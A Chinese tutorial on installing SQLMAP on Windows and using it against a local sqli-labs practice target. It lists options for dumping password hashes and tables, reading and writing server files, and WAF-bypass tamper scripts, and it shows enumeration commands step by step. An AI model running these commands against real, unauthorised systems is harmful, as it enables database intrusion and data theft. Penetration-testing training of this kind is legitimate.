Windows下SQLMAP的下载安装和使用过程

 更新时间:2024年11月26日 11:58:14   作者:燕雀安知鸿鹄之志哉.  
本文详细介绍了SQLMAP的下载安装方法和基本使用方法,包括如何检测SQL注入漏洞、查看数据库信息等,感兴趣的朋友跟随小编一起看看吧

免责声明

本文所提供的文字和信息仅供学习和研究使用,请读者自觉遵守法律法规,不得利用本文所提供的信息从事任何违法活动。本文不对读者的任何违法行为承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

注意:SQLMAP 这样的工具在合法的安全测试和研究环境之外的使用可能是非法的和不道德的。在实际应用中,应该在授权和合法的情况下使用它来帮助发现和修复系统中的安全漏洞,以提高系统的安全性。

1. SQLMAP下载安装

1.1. 介绍

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和注入过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令,以及从数据库指纹识别、从数据库获取数据、 通过带外连接在操作系统上执行命令。

1.2. 支持的数据库

SQLMAP 支持检测 MySQL 、 Oracle 、 PostgreSQL 、 MSSQL( Microsoft SQL Sever ) 、 Access ( Microsoft Access )、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等

1.3. 支持的注入方式

分别是:布尔盲注、时间盲注、报错注入、联合查询、堆叠注入

1.4. 下载安装

SQLMap的安装依赖于Python环境,所以需要事先安装好Python,若没有安装请看在Windows下载、安装Python和配置环境(新手、保姆级教程)-CSDN博客

SQLMAP的官方网站:https://sqlmap.org/

Windos系统下载 zip格式,Linux系统下载 .tar.gz格式。

提前在D盘新建一个文件夹,重命名最好为英文,下载解压缩之后进入sqlmap的文件夹,在此文件夹中打开控制台( 可以在上方地址栏输入cmd回车快速打开 )

输入命令python sqlmap.pypython sqlmap.py -h检验是否成功,出现如图所示界面就代表成功了。

注意:如果报错就检查一下环境变量是否配置成功;如果是没反应到python文件夹查看 python.exe 的名字,如果名字是 python2.exe或python3.exe,则命令就是python3 sqlmap.py

2. SQMAP的命令参数

2.1. sqlmap基本参数

这些是sqlmap的基本参数

-d 		指定直接数据库连接得连接字符串,直接连接到数据库。
-u 		指定URL目标
-I 		从Burp或WebScarab代理得日志中解析目标
-m 		扫描文本文件中给出得多个目标,批量扫描
-r 		从文本中加载HTTP请求。 用 * 标记注入位置
-g 		将Google Dork得结果作为目标URLh

这些参数可用于调整具体的 SQL 注入测试

-a 				获取所有信息
-current-user 	获取DBMS当前用户
--current-db  	获取DBMS当前数据库
--hostname 		获取DBMS当前主机名
--is-dba 		检测当前用户是否为管理员用户
--users 		查询DBMS用户
--passwords 	查询DBMS用户密码hash
--dbs 			查询DBMS数据库
--tables 		查询DBMS数据库中得表
--columns 		查询DBMS数据库表得列名
--dump 			查询转储DBMS数据库表
--dump-all 		转储DBMS所有数据库表
-D db_name 		指定要求枚举的DBMS数据库名
-T table_name 	指定要枚举得DBMS表
-C column_name 	指定要枚举得DBMS列
--batch 		从不询问用户输入,使用所有默认配置

2.2. sqlmap进阶参数

--data=DATA 			通过POST方式发送数据字符串
--cookie=COOKIE 		HTTP Cookie头 LMXCMS演示
--user-agent=AGENT		指定HTTP User-Agent头
--random-agent 		    使用随机选定得HTTP User-Agent头
--host=HOST 			指定HTTP HOST header
--referer=REFERER 		指定HTTP Referer header
--ignore-proxy 			忽略系统默认代理配置
--proxy=PROXY 			使用代理连接目标URL --proxy=" http://127.0.0.1:8080"
--delay=DELAY 			可以设定两个请求间得延迟
--timeout=TIMEOUT 		可以设定一个请求超过多久判定为超时
--force-ssl 			强制使用SSL/HTTPS
--threads=THREADS 		HTTP(s)最大并发请求数(默认是1)
--dbms=DBMS 			强制指定后端DBMS
--os=OS 				强制指定后端得DBMS操作系统
--tamper 				使用给定得脚本修改注入数据

这些参数可用于自定义阶段检测探测选择

--level=LEVEL 	测试等级(1-5, default 1)
--risk=RISK 	测试的风险等级(1-3, default 1)
--technique 	来指定要使用哪种注入模式,快速扫描

2.4 访问文件系统

--file-read=文件路径 	从后端的数据库管理系、统文件系统读取文件
--file-write=文件路径	编辑后端的数据库管理系统、文件系统上的本地文件
--file-dest=文件路径		后端的数据库管理系统、写入文件的绝对路径

使用条件

  • 知道网站的绝对路径
  • 高权限数据库用户
  • secure_file_priv=''无限制

2.5 tamper绕过

--tamper=base64encode.py
--tamper=test.py
space2comment.py 				用/**/代替空格
apostrophemask.py 				用utf8代替引号
equaltolike.py 					like代替等号
space2dash.py                   绕过过滤‘=' 替换空格字符(”),('–‘)后跟一个破折号注释,一个随机字符串和一个新行('n')
greatest.py 					绕过过滤'>' ,用GREATEST替换大于号。
space2hash.py 					空格替换为#号,随机字符串以及换行符
apostrophenullencode.py 	    绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py    当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 				空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 				在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 				绕过对IFNULL过滤,替换类似'IFNULL(A,B)'为'IF(ISNULL(A), B, A)'
space2mssqlblank.py 			(mssql)空格替换为其它空符号
base64encode.py 				用base64编码替换
space2mssqlhash.py 				替换空格
modsecurityversioned.py 	    过滤空格,包含完整的查询版本注释
space2mysqlblank.py 			空格替换其它空白符号(mysql)
between.py						用between替换大于号(>)
space2mysqldash.py				替换空格字符(”)(' – ‘)后跟一个破折号注释一个新行(' n')
multiplespaces.py				围绕SQL关键字添加多个空格
space2plus.py 					用+替换空格
bluecoat.py 					代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py      双重查询语句,取代SQL关键字
space2randomblank.py			代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py					追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py				双url编码(不处理以编码的)
unionalltounion.py				替换UNION ALLSELECT UNION SELECT
charencode.py 					url编码
randomcase.py					随机大小写
unmagicquotes.py				宽字符绕过 GPCaddslashes
randomcomments.py				用/**/分割sql关键字
charunicodeencode.py			字符串 unicode 编码
securesphere.py					追加特制的字符串
versionedmorekeywords.py	    注释绕过
space2comment.py				替换空格字符串(‘‘) 使用注释‘/**/'
halfversionedmorekeywords.py    关键字前加注释

3. SQLMAP的基本使用

我们以本地搭建的sql-labs靶场网址作为注入点测试

目标注入点是:

http://127.0.0.1/sqli-labs-master/Less-1/

3.1. 判断是否存在注入

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

出现这个就表示存在漏洞,分别存在布尔注入、报错注入、时间注入、union联合注入

3.2. 判断当前用户是否为dba

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba

3.3. 查看数据库用户

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user

3.4. 查看所有数据库

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

3.5. 查看当前数据库名称

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

3.6. 查询当前数据库的表

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 --tables

3.7. 查询表中的字段名

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --columns

3.8. 查询字段下的数据

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --dump

本人发布、转载的文章中所涉及的命令、技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!!!!!

到此这篇关于SQLMAP的下载安装和使用(Windows)的文章就介绍到这了,更多相关SQLMAP下载安装使用内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • idea git拉取代码特别慢的问题及解决

    idea git拉取代码特别慢的问题及解决

    这篇文章主要介绍了idea git拉取代码特别慢的问题及解决,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2024-07-07
  • git 将本地文件(夹)上传到gitee指定分支的处理方法

    git 将本地文件(夹)上传到gitee指定分支的处理方法

    这篇文章主要介绍了git 将本地文件(夹)上传到gitee指定分支的处理方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-09-09
  • git push指令常见选项和用法详解

    git push指令常见选项和用法详解

    Git中的git push命令用于将本地仓库的改动推送到远程仓库,是协同开发中的重要工具,在团队合作中,使用git push和git pull可以有效维护项目同步,避免冲突,推送时若遇到冲突需先解决后再进行推送,需要的朋友可以参考下
    2024-09-09
  • 如何禁止浏览器使用后退按钮功能

    如何禁止浏览器使用后退按钮功能

    浏览器的后退按钮使得我们能够方便地返回以前访问过的页面,它无疑非常有用。但有时候我们不得不关闭这个功能,以防止用户打乱预定的页面访问次序。
    2014-09-09
  • git stash(储藏)的用法总结

    git stash(储藏)的用法总结

    本文详细讲解了git stash(储藏)的用法,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2022-06-06
  • 大规格文件的上传优化思路详解

    大规格文件的上传优化思路详解

    这篇文章主要介绍了大规格文件的上传优化,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-05-05
  • 解决Fiddler在win7系统下的安全证书问题

    解决Fiddler在win7系统下的安全证书问题

    今天小编就为大家分享一篇关于解决Fiddler在win7系统下的安全证书问题,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2018-10-10
  • 分享五个最佳编程字体

    分享五个最佳编程字体

    这篇文章主要介绍了分享五个最佳编程字体,需要的朋友可以参考下
    2016-10-10
  • 利用git提交代码的方法步骤

    利用git提交代码的方法步骤

    这篇文章主要介绍了利用git提交代码的方法步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-08-08
  • Hybris在idea中debug配置方法详解

    Hybris在idea中debug配置方法详解

    这篇文章主要介绍了Hybris在idea中debug配置方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-08-08

最新评论